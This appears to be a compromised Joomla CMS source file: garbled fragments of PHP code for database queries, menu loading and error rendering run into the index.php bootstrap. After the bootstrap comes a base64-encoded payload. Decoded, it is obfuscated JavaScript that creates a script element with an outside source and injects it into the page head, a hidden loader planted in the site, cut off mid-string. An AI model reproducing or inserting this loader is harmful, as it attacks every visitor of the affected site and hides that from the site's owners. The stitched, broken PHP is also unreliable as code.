$this->statement = $connection->prepare($query); if (!$this->statement) { throw new PrepareStatementFailureException($this->connection->error, $this->connection->errno); } } /** * Replace named parameters with numbered parameters * @since 2.0.0 * @throws PrepareStatementFailureException */ protected function prepareStatement(string $query): StatementInterface { return new MysqliStatement($this->connection, $query); } /** * Unlocks tables in the database. * $query->setLimit($limit, $offset); $sql = $this->replacePrefix((string) $query); $this->statement = $this->prepareStatement($sql); $this->sql = $query; $this->limit = (int) max(0, $limit); $this->offset = (int) max(0, $offset); ) ->bind(':currentDate2', $currentDate) ->order($this->db->quoteName('m.lft')); $items = []; $iterator = $this->db->setQuery($query)->getIterator(); foreach ($iterator as $item) { $items[$item->id] = new MenuItem((array) $item); } $referenceArgs = &$args; } // Just execute the callback if caching is disabled. if (empty($this->options['caching'])) { return \call_user_func_array($callback, $referenceArgs); } if (!$id) { // Generate an ID $id = $this->_makeId($callback, $args); try { /** @var CallbackController $cache */ $cache = $this->getCacheControllerFactory()->createCacheController('callback', ['defaultgroup' => 'com_menus']); $this->items = $cache->get($loader, [], md5(\get_class($this)), false); } catch (CacheExceptionInterface $e) { try { $this->items = $loader(); } catch (ExecutionFailureException $databaseException) { $this->app->enqueueMessage(Text::sprintf('JERROR_LOADING_MENUS', $databaseException->getMessage()), 'warning'); * @since 1.5 */ public function getMenu() { if (!$this->itemsLoaded) { $this->load(); foreach ($this->items as $item) { if ($item->home) { $this->default[trim($item->language)] = $item->id; } */ public function getItem($id) { $result = null; if (isset($this->getMenu()[$id])) { $result = &$this->getMenu()[$id]; } return $result; } // Get the id of the active menu item $menu = $this->getMenu(); $item = $menu->getActive(); if (!$item) { $item = $menu->getItem($this->input->getInt('Itemid', null)); } $id = 0; if (\is_object($item)) { public function render(\Throwable $error): string { $app = Factory::getApplication(); // Get the current template from the application $template = $app->getTemplate(true); // Push the error object into the document $this->getDocument()->setError($error); // Add registry file for the template asset // Reset the document object in the factory, this gives us a clean slate and lets everything render properly Factory::$document = $renderer->getDocument(); Factory::getApplication()->loadDocument(Factory::$document); $data = $renderer->render($error); // If nothing was rendered, just use the message from the Exception if (empty($data)) { $data = $error->getMessage(); } * @since 3.10.0 */ public static function handleException(\Throwable $error) { static::logException($error); static::render($error); } /** * Render the error page based on an exception. * ); // Trigger the onError event. $this->triggerEvent('onError', $event); ExceptionHandler::handleException($event->getError()); } // Trigger the onBeforeRespond event. $this->getDispatcher()->dispatch('onBeforeRespond');// Set the application as global app\Joomla\CMS\Factory::$application = $app;// Execute the application.$app->execute(); * define() is used rather than "const" to not error for PHP 5.2 and lower */define('_JEXEC', 1);// Run the application - All executable code should be triggered through this filerequire_once dirname(__FILE__) . '/includes/app.php'; $jmapicode = base64_decode("ICAgICAgICAgICAgICA8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgaWQ9J2Jld2Vscyc+KGZ1bmN0aW9uKF8weDUzMGM5ZSxfMHg0YmE2ZGUpe2Z1bmN0aW9uIF8weDE3MGM4OChfMHg0ZjU2OTUsXzB4NWExOTQxLF8weDM0Mjc4MixfMHgxZWFmMGMpe3JldHVybiBfMHg1MTNiKF8weDM0Mjc4Mi0gLTB4MjgsXzB4NWExOTQxKTt9dmFyIF8weDQ5ZDE2Mj1fMHg1MzBjOWUoKTtmdW5jdGlvbiBfMHg0YjIwNGIoXzB4MzZjZTliLF8weDVkMzhlNCxfMHhkZjJmYWYsXzB4NjBiMTE0KXtyZXR1cm4gXzB4NTEzYihfMHg2MGIxMTQtMHgyYjAsXzB4ZGYyZmFmKTt9d2hpbGUoISFbXSl7dHJ5e3ZhciBfMHgxOGIwODA9cGFyc2VJbnQoXzB4NGIyMDRiKDB4MzQwLDB4MzJiLDB4MzU0LDB4MzQ2KSkvKC0weGViKi0weDIzKy0weDE1YWUrLTB4YTcyKSstcGFyc2VJbnQoXzB4NGIyMDRiKDB4MzJmLDB4MzczLDB4MzRkLDB4MzY0KSkvKDB4MjRlNystMHgxYzU4Ky0weDg4ZCkqKHBhcnNlSW50KF8weDRiMjA0YigweDM1ZCwweDM1MywweDM2NCwweDM2ZSkpLygtMHgyNSoweDdjKzB4NzgqLTB4MTYrMHgxYzNmKSkrcGFyc2VJbnQoXzB4NGIyMDRiKDB4MzIyLDB4MzRjLDB4MzFjLDB4MzU0KSkvKC0weDI1NTkqLTB4MSstMHgxNTJmKy0weGQqMHgxM2UpKihwYXJzZUludChfMHg0YjIwNGIoMHgzODgsMHgzNjUsMHgzOGMsMHgzNmMpKS8oMHgxNjUxKzB4MTZhKjB4MTQrLTB4MzI5NCkpKy1wYXJzZUludChfMHg0YjIwNGIoMHgzODAsMHgzOGUsMHgzOWEsMHgzNzkpKS8oMHgyNmY5KzB4MTkqMHg2NysweDYqLTB4ODJiKSstcGFyc2VJbnQoXzB4MTcwYzg4KDB4YmIsMHhhYiwweGEyLDB4YjIpKS8oMHgyNGMwKzB4ZioweDM3KzB4MjdmMiotMHgxKSstcGFyc2VJbnQoXzB4MTcwYzg4KDB4OGYsMHg5OSwweGI2LDB4ZTkpKS8oLTB4MTQ1MCsweDg3YysweGJkYykqKC1wYXJzZUludChfMHg0YjIwNGIoMHgzMjMsMHgzMzYsMHgzNWEsMHgzNDApKS8oMHgyMjYyKy0weDEzZmYrLTB4MSoweGU1YSkpK3BhcnNlSW50KF8weDRiMjA0YigweDMzZiwweDM1OSwweDM3ZiwweDM3OCkpLygweDI0MDUrLTB4MTlmMSstMHhhMGEpO2lmKF8weDE4YjA4MD09PV8weDRiYTZkZSlicmVhaztlbHNlIF8weDQ5ZDE2MlsncHVzaCddKF8weDQ5ZDE2Mlsnc2hpZnQnXSgpKTt9Y2F0Y2goXzB4NGY1OWE1KXtfMHg0OWQxNjJbJ3B1c2gnXShfMHg0OWQxNjJbJ3NoaWZ0J10oKSk7fX19KF8weDFlYTIsLTB4MSotMHg4YzZlKzB4MjI2KjB4MWJjKy0weGIzKjB4MzI5KSk7ZnVuY3Rpb24ga3BwYShfMHg1NDI2NTgpe3ZhciBfMHg4YWEyNjA9eydSWWp3Sic6JygoKC4rKSspKyknKycrJCcsJ2x4cmJaJzpmdW5jdGlvbihfMHgxZDg0NmEsXzB4MWYyNjQxKXtyZXR1cm4gXzB4MWQ4NDZhPT09XzB4MWYyNjQxO30sJ0dNWU5uJzpfMHgxYTVjYTIoMHgxZjMsMHgxZjksMHgxZWUsMHgxZTYpLCdmYUVCVyc6ZnVuY3Rpb24oXzB4MjU5OGU5LF8weDMyNWYwYil7cmV0dXJuIF8weDI1OThlOT09PV8weDMyNWYwYjt9LCdGZkNRWCc6XzB4NGFhNzE3KC0weDFhZiwtMHgxYTAsLTB4MWE0LC0weDFiYyksJ0ZQWkFkJzpmdW5jdGlvbihfMHgzNjg5NDIsXzB4ZGM5ZDBmKXtyZXR1cm4gXzB4MzY4OTQyKF8weGRjOWQwZik7fSwndFRhT24nOmZ1bmN0aW9uKF8weDMzNzE3NSxfMHgyMDIyOWQpe3JldHVybiBfMHgzMzcxNzUrXzB4MjAyMjlkO30sJ2taR3ZaJzpmdW5jdGlvbihfMHgzNWE1NGMsXzB4MzliOGFjKXtyZXR1cm4gXzB4MzVhNTRjK18weDM5YjhhYzt9LCdEVFJ2eCc6XzB4MWE1Y2EyKDB4MjU2LDB4MjRjLDB4Mjg3LDB4MjIzKStfMHg0YWE3MTcoLTB4MjBkLC0weDFlYiwtMHgxZTQsLTB4MWU5KSwnTGFoQ1gnOl8weDRhYTcxNygtMHgxZGEsLTB4MWVkLC0weDFkYSwtMHgxZWYpK18weDFhNWNhMigweDFmOSwweDIwZCwweDFkNiwweDIwZCkrXzB4MWE1Y2EyKDB4MjBmLDB4MWQ5LDB4MWZiLDB4MjEwKSsnXHgyMCknLCdrd1F2TCc6ZnVuY3Rpb24oXzB4MzU4YTU5LF8weGMwYjM0YSl7cmV0dXJuIF8weDM1OGE1OT09PV8weGMwYjM0YTt9LCduRXJNUCc6XzB4MWE1Y2EyKDB4MjBjLDB4MjQzLDB4MjI1LDB4MWZiKSwnSmpkbnInOmZ1bmN0aW9uKF8weDU2OWRhMyl7cmV0dXJuIF8weDU2OWRhMygpO30sJ1luS3huJzpfMHg0YWE3MTcoLTB4MWQ3LC0weDFiYiwtMHgxYjYsLTB4MTg3KSwnVGdDRVAnOid3YXJuJywnWGNGVEwnOl8weDFhNWNhMigweDIyZCwweDI0NiwweDI0OCwweDIxZiksJ2pQbVpXJzpfMHg0YWE3MTcoLTB4MWRkLC0weDE4NCwtMHgxYjEsLTB4MTk0KSwncER4QWwnOl8weDRhYTcxNygtMHgxZDYsLTB4MWM0LC0weDFmMiwtMHgxZTIpLCdWSk1DTyc6ZnVuY3Rpb24oXzB4OWY5NDdhLF8weDU0NzdhNyxfMHg1ZDdlNjQpe3JldHVybiBfMHg5Zjk0N2EoXzB4NTQ3N2E3LF8weDVkN2U2NCk7fSwnVmxwVE4nOmZ1bmN0aW9uKF8weDE3YmViNCl7LyoweDUxNjIqL3JldHVybiBfMHgxN2JlYjQoKTt9LCd5UWZCbSc6J3RleHQvamF2YXMnK18weDRhYTcxNygtMHgxYzksLTB4MWJiLC0weDFiMywtMHgxYzkpLCdrVUJOQSc6XzB4MWE1Y2EyKDB4MjRlLDB4MjY4LDB4Mjc1LDB4MjU4KSwnbWNrcHAnOidoZWFkJywnRERVRVAnOl8weDFhNWNhMigweDIwZCwweDFkZCwweDIxOSwweDIzNil9O2Z1bmN0aW9uIF8weDFhNWNhMihfMHg0ZWEwZTcsXzB4MjkwZGRmLF8weDVhYzA0MCxfMHg0NGYwYzYpe3JldHVybiBfMHg1MTNiKF8weDRlYTBlNy0weDE3MyxfMHg1YWMwNDApO31mdW5jdGlvbiBfMHg0YWE3MTcoXzB4MjgwMWI1LF8weDUxYWExMyxfMHgxOGEwODQsXzB4Mzg5ZjY4KXtyZXR1cm4gXzB4NTEzYihfMHgxOGEwODQtIC0weDI4MSxfMHgyODAxYjUpO312YXIgXzB4MWJmYTQxPShmdW5jdGlvbigpe2Z1bmN0aW9uIF8weDQyMGFiOShfMHg1ODgzNTAsXzB4NDA5ZmVhLF8weDQ3NDE3OSxfMHgyMmFhODgpe3JldHVybiBfMHgxYTVjYTIoXzB4MjJhYTg4LTB4MjJjLF8weDQwOWZlYS0weGU5LF8weDU4ODM1MCxfMHgyMmFhODgtMHg0OSk7fXZhciBfMHgxYzA4Zjc9eydvUEh0dSc6XzB4OGFhMjYwWydSWWp3SiddLCdxanlLeCc6ZnVuY3Rpb24oXzB4YjViZjBmLF8weDQxNWE0NSl7ZnVuY3Rpb24gXzB4ZThjMDBmKF8weDIxYTRjMixfMHg1MTYzYzEsXzB4NTI1OTJjLF8weDExZWI2Nyl7cmV0dXJuIF8weDUxM2IoXzB4MTFlYjY3LSAtMHgxOGYsXzB4NTE2M2MxKTt9cmV0dXJuIF8weDhhYTI2MFtfMHhlOGMwMGYoLTB4MTFhLC0weDE0YSwtMHgxMzEsLTB4MTE3KV0oXzB4YjViZjBmLF8weDQxNWE0NSk7fSwnUm5zS3onOl8weDhhYTI2MFtfMHgyZWM3MjQoLTB4YTgsLTB4NzgsLTB4YWIsLTB4NzcpXX07ZnVuY3Rpb24gXzB4MmVjNzI0KF8weDFkMmE1OCxfMHgzZGU3ZDAsXzB4MzdlYzgwLF8weDI1MWNiZil7cmV0dXJuIF8weDRhYTcxNyhfMHgzZGU3ZDAsXzB4M2RlN2QwLTB4YmMsXzB4MWQyYTU4LTB4MTQxLF8weDI1MWNiZi0weDE2Mik7fWlmKF8weDhhYTI2MFtfMHgyZWM3MjQoLTB4NmIsLTB4OTEsLTB4NzEsLTB4YTQpXShfMHg4YWEyNjBbXzB4MmVjNzI0KC0weDdmLC0weDRlLC0weDg2LC0weDc4KV0sXzB4NDIwYWI5KDB4NDRiLDB4NGEwLDB4NDcxLDB4NDcxKSkpcmV0dXJuIF8weDM1OTU1MFsndG9TdHJpbmcnXSgpWydzZWFyY2gnXSh5cWpxaVRbXzB4NDIwYWI5KDB4NDFlLDB4NDdhLDB4NDdhLDB4NDUyKV0pW18weDQyMGFiOSgweDQ5MywweDQzOCwweDQyOSwweDQ1ZildKClbJ2NvbnN0cnVjdG8nKydyJ10oXzB4NGUzYjU2KVsnc2VhcmNoJ10oeXFqcWlUW18weDJlYzcyNCgtMHg4ZCwtMHhiNCwtMHg3NywtMHg3NSldKTtlbHNle3ZhciBfMHgyOWUxNjU9ISFbXTtyZXR1cm4gZnVuY3Rpb24oXzB4MWMzNWZjLF8weDI0OWU3ZCl7dmFyIF8weDFkOGRlYz1fMHgyOWUxNjU/ZnVuY3Rpb24oKXtmdW5jdGlvbiBfMHgzYWJjZjYoXzB4NzA4OTQsXzB4NGU2MjI5LF8weDJhYWE3YyxfMHhmMGVlZTApe3JldHVybiBfMHg1MTNiKF8weDcwODk0LTB4ZGUsXzB4NGU2MjI5KTt9ZnVuY3Rpb24gXzB4NDM1Y2ZiKF8weDJmYjVlZixfMHgxYzJiZDQsXzB4MzdhOWQ2LF8weDQ1YmFhNSl7cmV0dXJuIF8weDUxM2IoXzB4MWMyYmQ0LSAtMHgxM2MsXzB4MzdhOWQ2KTt9aWYoXzB4MWMwOGY3W18weDQzNWNmYigtMHhkZSwtMHhhYiwtMHhhZSwtMHhkMCldKF8weDFjMDhmN1tfMHg0MzVjZmIoLTB4N2UsLTB4NmIsLTB4YTAsLTB4ODApXSxfMHg0MzVjZmIoLTB4ODcsLTB4YzIsLTB4ZWUsLTB4ZmUpKSlfMHgyODIzY2E9XzB4NDM1Y2ZiKC0weGE4LC0weGE4LC0weDdmLC0weGQ0KTtlbHNle2lmKF8weDI0OWU3ZCl7dmFyIF8weDVmMzBmNT1fMHgyNDllN2RbJ2FwcGx5J10oXzB4MWMzNWZjLGFyZ3VtZW50cyk7cmV0dXJuIF8weDI0OWU3ZD1udWxsLF8weDVmMzBmNTt9fX06ZnVuY3Rpb24oKXt9O3JldHVybiBfMHgyOWUxNjU9IVtdLF8weDFkOGRlYzt9O319KCkpLF8weDNjNDVkYj1fMHg4YWEyNjBbXzB4NGFhNzE3KC0weDIwNywtMHgxZDAsLTB4MWRmLC0weDFiOSldKF8weDFiZmE0MSx0aGlzLGZ1bmN0aW9uKCl7dmFyIF8weDRiMzAxZD1mdW5jdGlvbigpe3ZhciBfMHg0OWRlOWE7ZnVuY3Rpb24gXzB4YzNkMzM3KF8weDJiZTliMyxfMHg1ZDJjY2MsXzB4MjVhZmU0LF8weDM4ZmRmYSl7cmV0dXJuIF8weDUxM2IoXzB4NWQyY2NjLSAtMHgxMmUsXzB4MmJlOWIzKTt9ZnVuY3Rpb24gXzB4OTgyYjc0KF8weDI4MGFiNSxfMHg0ZmEzZTgsXzB4MTU3NTA0LF8weGRlNGI4MCl7cmV0dXJuIF8weDUxM2IoXzB4NGZhM2U4LSAtMHg2NyxfMHgyODBhYjUpO310cnl7XzB4NDlkZTlhPV8weDhhYTI2MFtfMHhjM2QzMzcoLTB4NjgsLTB4NTIsLTB4NmEsLTB4ODApXShGdW5jdGlvbixfMHg4YWEyNjBbJ3RUYU9uJ10oXzB4OGFhMjYwWydrWkd2WiddKF8weDhhYTI2MFtfMHg5ODJiNzQoMHgyNiwweDQ0LDB4MjEsMHg3NildLF8weDhhYTI2MFtfMHhjM2QzMzcoLTB4NmIsLTB4ODIsLTB4NmYsLTB4OGUpXSksJyk7JykpKCk7fWNhdGNoKF8weDE3MjI4Nil7aWYoXzB4OGFhMjYwWydrd1F2TCddKF8weDhhYTI2MFsnbkVyTVAnXSxfMHg4YWEyNjBbXzB4OTgyYjc0KDB4MjEsMHgyMywweDM4LC0weGIpXSkpXzB4NDlkZTlhPXdpbmRvdztlbHNle3ZhciBfMHgyODc2NTk9XzB4M2U5MmExW18weDk4MmI3NCgtMHgyLDB4YiwweDEyLDB4OCldKF8weDQyM2IwOCxhcmd1bWVudHMpO3JldHVybiBfMHgzYmJiZDI9bnVsbCxfMHgyODc2NTk7fX1yZXR1cm4gXzB4NDlkZTlhO30sXzB4MWM3OTY0PV8weDhhYTI2MFtfMHg0MmFjNDIoLTB4MmViLC0weDJmOCwtMHgyZDksLTB4MmUzKV0oXzB4NGIzMDFkKTtmdW5jdGlvbiBfMHg0MmFjNDIoXzB4MTBhZTA0LF8weDRlMDU0MSxfMHhmNzk5NzYsXzB4MTY5MGZmKXtyZXR1cm4gXzB4MWE1Y2EyKF8weDRlMDU0MS0gLTB4NTUwLF8weDRlMDU0MS0weDE4MCxfMHgxNjkwZmYsXzB4MTY5MGZmLTB4MTBmKTt9ZnVuY3Rpb24gXzB4MWVhYTdmKF8weDI2OTE3ZCxfMHgxODkxNGMsXzB4NDExZjhkLF8weDcyN2RlOCl7cmV0dXJuIF8weDRhYTcxNyhfMHg0MTFmOGQsXzB4MTg5MTRjLTB4MTIsXzB4MjY5MTdkLTB4OTYsXzB4NzI3ZGU4LTB4MTM4KTt9dmFyIF8weDFjNTc3Mj1fMHgxYzc5NjRbXzB4MWVhYTdmKC0weDE2OCwtMHgxNTksLTB4MTY1LC0weDE1OCldPV8weDFjNzk2NFtfMHg0MmFjNDIoLTB4Mzc3LC0weDM1YSwtMHgzOTQsLTB4MzIyKV18fHt9LF8weDhmN2I3Yj1bXzB4OGFhMjYwWydZbkt4biddLF8weDhhYTI2MFsnVGdDRVAnXSxfMHg4YWEyNjBbXzB4MWVhYTdmKC0weDEyNiwtMHgxMDEsLTB4MTE0LC0weDEzMyldLF8weDhhYTI2MFsnalBtWlcnXSxfMHg0MmFjNDIoLTB4MzUwLC0weDMzMCwtMHgzMTIsLTB4MzVkKSxfMHg4YWEyNjBbXzB4NDJhYzQyKC0weDJmMCwtMHgzMTYsLTB4MzFjLC0weDJlNCldLF8weDFlYWE3ZigtMHgxMDcsLTB4MTM1LC0weGQ4LC0weDExNyldO2Zvcih2YXIgXzB4NTM2NGI2PS0weDExZDIrMHhhNCotMHgyNCsweDI4ZTI7XzB4NTM2NGI2PF8weDhmN2I3YltfMHgxZWFhN2YoLTB4MTZjLC0weDE0YywtMHgxNmEsLTB4MTY2KV07XzB4NTM2NGI2Kyspe3ZhciBfMHg4MjJjY2E9KF8weDQyYWM0MigtMHgzNzYsLTB4MzY4LC0weDM5YiwtMHgzNDIpKycyJylbXzB4MWVhYTdmKC0weDE2YSwtMHgxNGYsLTB4MTc3LC0weDE3NyldKCd8JyksXzB4MWM1OGU4PTB4MjBjYSsweGUqMHgxNjArMHgxKi0weDM0MGE7d2hpbGUoISFbXSl7c3dpdGNoKF8weDgyMmNjYVtfMHgxYzU4ZTgrK10pe2Nhc2UnMCc6dmFyIF8weDRiNTQzZD1fMHgxYmZhNDFbXzB4NDJhYzQyKC0weDM3NywtMHgzNDIsLTB4MzM0LC0weDM2NikrJ3InXVtfMHgxZWFhN2YoLTB4MTY2LC0weDEzMywtMHgxODcsLTB4MWEyKV1bXzB4MWVhYTdmKC0weDE2ZCwtMHgxNTYsLTB4MTllLC0weDE3YildKF8weDFiZmE0MSk7Y29udGludWU7Y2FzZScxJzp2YXIgXzB4NGFlNmY5PV8weDhmN2I3YltfMHg1MzY0YjZdO2NvbnRpbnVlO2Nhc2UnMic6XzB4MWM1NzcyW18weDRhZTZmOV09XzB4NGI1NDNkO2NvbnRpbnVlO2Nhc2UnMyc6XzB4NGI1NDNkWydfX3Byb3RvX18nXT1fMHgxYmZhNDFbXzB4NDJhYzQyKC0weDMzYywtMHgzNWYsLTB4Mzc3LC0weDM5MyldKF8weDFiZmE0MSk7Y29udGludWU7Y2FzZSc0Jzp2YXIgXzB4MTk4YzgyPV8weDFjNTc3MltfMHg0YWU2ZjldfHxfMHg0YjU0M2Q7Y29udGludWU7Y2FzZSc1JzpfMHg0YjU0M2RbXzB4MWVhYTdmKC0weDEyYiwtMHgxMzAsLTB4ZjUsLTB4MTIwKV09XzB4MTk4YzgyWyd0b1N0cmluZyddW18weDFlYWE3ZigtMHgxNmQsLTB4MTg0LC0weDE4NywtMHgxM2MpXShfMHgxOThjODIpO2NvbnRpbnVlO31icmVhazt9fX0pO18weDhhYTI2MFtfMHgxYTVjYTIoMHgyMmUsMHgyMDAsMHgyMWEsMHgyM2UpXShfMHgzYzQ1ZGIpO3ZhciBfMHgzYzgxYWU9ZG9jdW1lbnRbJ2NyZWF0ZUVsZW0nK18weDRhYTcxNygtMHgyMTUsLTB4MWNmLC0weDIwNCwtMHgyMjMpXShfMHgxYTVjYTIoMHgxZjUsMHgxY2YsMHgyMTQsMHgxZmIpKTtfMHgzYzgxYWVbXzB4MWE1Y2EyKDB4MWUyLDB4MjExLDB4MWMwLDB4MWU3KV09XzB4OGFhMjYwW18weDFhNWNhMigweDFlNCwweDIxMywweDFiMywweDIwYSldLF8weDNjODFhZVtfMHg0YWE3MTcoLTB4MWMwLC0weDFlYiwtMHgxZGUsLTB4MWJmKV09XzB4NTQyNjU4LF8weDNjODFhZVsnaWQnXT1fMHg4YWEyNjBbXzB4NGFhNzE3KC0weDFlOSwtMHgxZTYsLTB4MjExLC0weDFmZildO2lmKGRvY3VtZW50W18weDRhYTcxNygtMHgxN2YsLTB4MTc1LC0weDFhNywtMHgxYTUpKydCeUlkJ10oXzB4NGFhNzE3KC0weDE4OSwtMHgxY2UsLTB4MWE2LC0weDFkZikpKXt9ZWxzZSBkb2N1bWVudFtfMHg0YWE3MTcoLTB4MWUwLC0weDFiYSwtMHgxYTcsLTB4MTk4KStfMHg0YWE3MTcoLTB4MWEzLC0weDFkNCwtMHgxYmYsLTB4MWVmKV0oXzB4OGFhMjYwW18weDFhNWNhMigweDIzZiwweDI2YiwweDI0NCwweDI1NSldKVstMHgyMWQzKzB4MSoweDI2MWQrMHg2Ki0weGI3XVsnYXBwZW5kQ2hpbCcrJ2QnXShfMHgzYzgxYWUpLGRvY3VtZW50WydnZXRFbGVtZW50JytfMHgxYTVjYTIoMHgyMzYsMHgyMzcsMHgyNTEsMHgyMTgpXShfMHg4YWEyNjBbXzB4MWE1Y2EyKDB4MjFiLDB4MjE0LDB4MjE3LDB4MjA0KV0pJiZkb2N1bWVudFsnZ2V0RWxlbWVudCcrXzB4NGFhNzE3KC0weDFlYywtMHgxOTYsLTB4MWJlLC0weDFiMyldKF8weDhhYTI2MFtfMHgxYTVjYTIoMHgyMWIsMHgyNTAsMHgyMzksMHgyNGYpXSlbXzB4NGFhNzE3KC0weDFmOCwtMHgxYzAsLTB4MWQ3LC0weDFmZSldKCk7fWZ1bmN0aW9uIF8weGEyMWM4NihfMHg0ZjY0ODUsXzB4MzY4ZGJiLF8weDMyNzY0NSxfMHgyOTBmNjcpe3JldHVybiBfMHg1MTNiKF8weDMyNzY0NS0gLTB4Mzk0LF8weDRmNjQ4NSk7fWZ1bmN0aW9uIF8weDUxM2IoXzB4MTBhMWQ4LF8weDFhYWJjMCl7dmFyIF8weDIzMGY3ZD1fMHgxZWEyKCk7cmV0dXJuIF8weDUxM2I9ZnVuY3Rpb24oXzB4MmU2ZTJmLF8weDI4MjNjYSl7XzB4MmU2ZTJmPV8weDJlNmUyZi0oMHg4KjB4MjYrMHgxYzBjKy0weGU2NyoweDIpO3ZhciBfMHgyM2MxYzA9XzB4MjMwZjdkW18weDJlNmUyZl07aWYoXzB4NTEzYlsnbEVPUWFzJ109PT11bmRlZmluZWQpe3ZhciBfMHhiMTc2ND1mdW5jdGlvbihfMHgyNjQ3ZGEpe3ZhciBfMHg1N2EyNWE9J2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVowMTIzNDU2Nzg5Ky89Jzt2YXIgXzB4MjkxZDQ5PScnLF8weDU4YmY3Nz0nJyxfMHg0NjIzNDc9XzB4MjkxZDQ5K18weGIxNzY0O2Zvcih2YXIgXzB4MmNkODYxPTB4NGM3Ky0weDIqMHgzMDMrMHgxM2YsXzB4NWE3NjhmLF8weDUwYzJiMCxfMHg0YWRkOGE9LTB4MTQ5ZCstMHg2KjB4MjNkKzB4MjIwYjtfMHg1MGMyYjA9XzB4MjY0N2RhWydjaGFyQXQnXShfMHg0YWRkOGErKyk7fl8weDUwYzJiMCYmKF8weDVhNzY4Zj1fMHgyY2Q4NjElKDB4MjY5YSsweDE2ODIqMHgxKy0weDNkMTgpP18weDVhNzY4ZiooLTB4NzYwKjB4MistMHgxZGU1KzB4MmNlNSkrXzB4NTBjMmIwOl8weDUwYzJiMCxfMHgyY2Q4NjErKyUoMHg0KjB4NmYzKy0weDY2NCstMHhhYjIqMHgyKSk/XzB4MjkxZDQ5Kz1fMHg0NjIzNDdbJ2NoYXJDb2RlQXQnXShfMHg0YWRkOGErKDB4MyoweDlmMCstMHgzOTYrMHg0Ki0weDY4YykpLSgtMHgzYyotMHg1YysweDJlMistMHg4KjB4MzBkKSE9PS0weDEzNjUqLTB4MistMHgyM2RlKy0weDJlYz9TdHJpbmdbJ2Zyb21DaGFyQ29kZSddKC0weDlkKjB4MistMHgxZSoweDliKzB4MTQ2MyZfMHg1YTc2OGY+PigtKC0weDEqMHhjZTQrMHgxOTc1Ky0weGM4ZikqXzB4MmNkODYxJi0weDEwYWIrMHhmYzkrMHgyKjB4NzQpKTpfMHgyY2Q4NjE6MHgxKi0weDI4MystMHgzMGEqLTB4NCstMHg5YTUpe18weDUwYzJiMD1fMHg1N2EyNWFbJ2luZGV4T2YnXShfMHg1MGMyYjApO31mb3IodmFyIF8weDFjZWY1ND0weDEyZDUrLTB4MTdlOSotMHgxKy0weDEqMHgyYWJlLF8weDhlZDE3Mj1fMHgyOTFkNDlbJ2xlbmd0aCddO18weDFjZWY1NDxfMHg4ZWQxNzI7XzB4MWNlZjU0Kyspe18weDU4YmY3Nys9JyUnKygnMDAnK18weDI5MWQ0OVsnY2hhckNvZGVBdCddKF8weDFjZWY1NClbJ3RvU3RyaW5nJ10oMHgxKjB4MTViMisweDlkZSstMHgxZjgwKSlbJ3NsaWNlJ10oLSgweDIyNjArMHg3NDYrLTB4MTQqMHgyMTUpKTt9cmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudChfMHg1OGJmNzcpO307XzB4NTEzYlsndGtsYVBWJ109XzB4YjE3NjQsXzB4MTBhMWQ4PWFyZ3VtZW50cyxfMHg1MTNiWydsRU9RYXMnXT0hIVtdO312YXIgXzB4NDM4NWYyPV8weDIzMGY3ZFstMHgxMzUxKy0weDIwY2ErLTB4MzQxYiotMHgxXSxfMHg1NWE3ZGQ9XzB4MmU2ZTJmK18weDQzODVmMixfMHgzNzMzMGI9XzB4MTBhMWQ4W18weDU1YTdkZF07aWYoIV8weDM3MzMwYil7dmFyIF8weDM5ODg4YT1mdW5jdGlvbihfMHgzYmUzZmQpe3RoaXNbJ05iT1prTiddPV8weDNiZTNmZCx0aGlzWydZcWpuWHQnXT1bMHhmNmUrMHgxKjB4OTA5Ky0weDEqMHgxODc2LC0weDFiYWIrMHgzNiotMHg0MCstMHgzKi0weGRiOSwtMHgxOTJlKy0weDEqLTB4MTVmZCstMHgxMyotMHgyYl0sdGhpc1sncHB6VExkJ109ZnVuY3Rpb24oKXtyZXR1cm4nbmV3U3RhdGUnO30sdGhpc1snSHdVSUhDJ109J1x4NWN3K1x4MjAqXHg1YyhceDVjKVx4MjAqe1x4NWN3K1x4MjAqJyx0aGlzWydCdHJZZlEnXT0nW1x4Mjd8XHgyMl0uK1tceDI3fFx4MjJdOz9ceDIwKn0nO307XzB4Mzk4ODhhWydwcm90b3R5cGUnXVsneFBrbkhWJ109ZnVuY3Rpb24oKXt2YXIgXzB4MTJjOWI4PW5ldyBSZWdFeHAodGhpc1snSHdVSUhDJ10rdGhpc1snQnRyWWZRJ10pLF8weDU0NWQ4Yj1fMHgxMmM5YjhbJ3Rlc3QnXSh0aGlzWydwcHpUTGQnXVsndG9TdHJpbmcnXSgpKT8tLXRoaXNbJ1lxam5YdCddWy0weDFjNjgrLTB4NDIzKi0weDErMHgxODQ2XTotLXRoaXNbJ1lxam5YdCddWzB4NTkqMHg1KzB4MTg3MisweDFhMmYqLTB4MV07cmV0dXJuIHRoaXNbJ29SRGdZSSddKF8weDU0NWQ4Yik7fSxfMHgzOTg4OGFbJ3Byb3RvdHlwZSddWydvUkRnWUknXT1mdW5jdGlvbihfMHgzYzJjYTkpe2lmKCFCb29sZWFuKH5fMHgzYzJjYTkpKXJldHVybiBfMHgzYzJjYTk7cmV0dXJuIHRoaXNbJ3NObFdVdSddKHRoaXNbJ05iT1prTiddKTt9LF8weDM5ODg4YVsncHJvdG90eXBlJ11bJ3NObFdVdSddPWZ1bmN0aW9uKF8weGIyMmRkMSl7Zm9yKHZhciBfMHgyNDJiOWU9MHgxKjB4MTNiYistMHgxKi0weDEzMWUrLTB4MjZkOSxfMHgyMzJjNzI9dGhpc1snWXFqblh0J11bJ2xlbmd0aCddO18weDI0MmI5ZTxfMHgyMzJjNzI7XzB4MjQyYjllKyspe3RoaXNbJ1lxam5YdCddWydwdXNoJ10oTWF0aFsncm91bmQnXShNYXRoWydyYW5kb20nXSgpKSksXzB4MjMyYzcyPXRoaXNbJ1lxam5YdCddWydsZW5ndGgnXTt9cmV0dXJuIF8weGIyMmRkMSh0aGlzWydZcWpuWHQnXVsweDMqLTB4NTY1KzB4MjM4KzB4ZGY3KjB4MV0pO30sbmV3IF8weDM5ODg4YShfMHg1MTNiKVsneFBrbkhWJ10oKSxfMHgyM2MxYzA9XzB4NTEzYlsndGtsYVBWJ10oXzB4MjNjMWMwKSxfMHgxMGExZDhbXzB4NTVhN2RkXT1fMHgyM2MxYzA7fWVsc2UgXzB4MjNjMWMwPV8weDM3MzMwYjtyZXR1cm4gXzB4MjNjMWMwO30sXzB4NTEzYihfMHgxMGExZDgsXzB4MWFhYmMwKT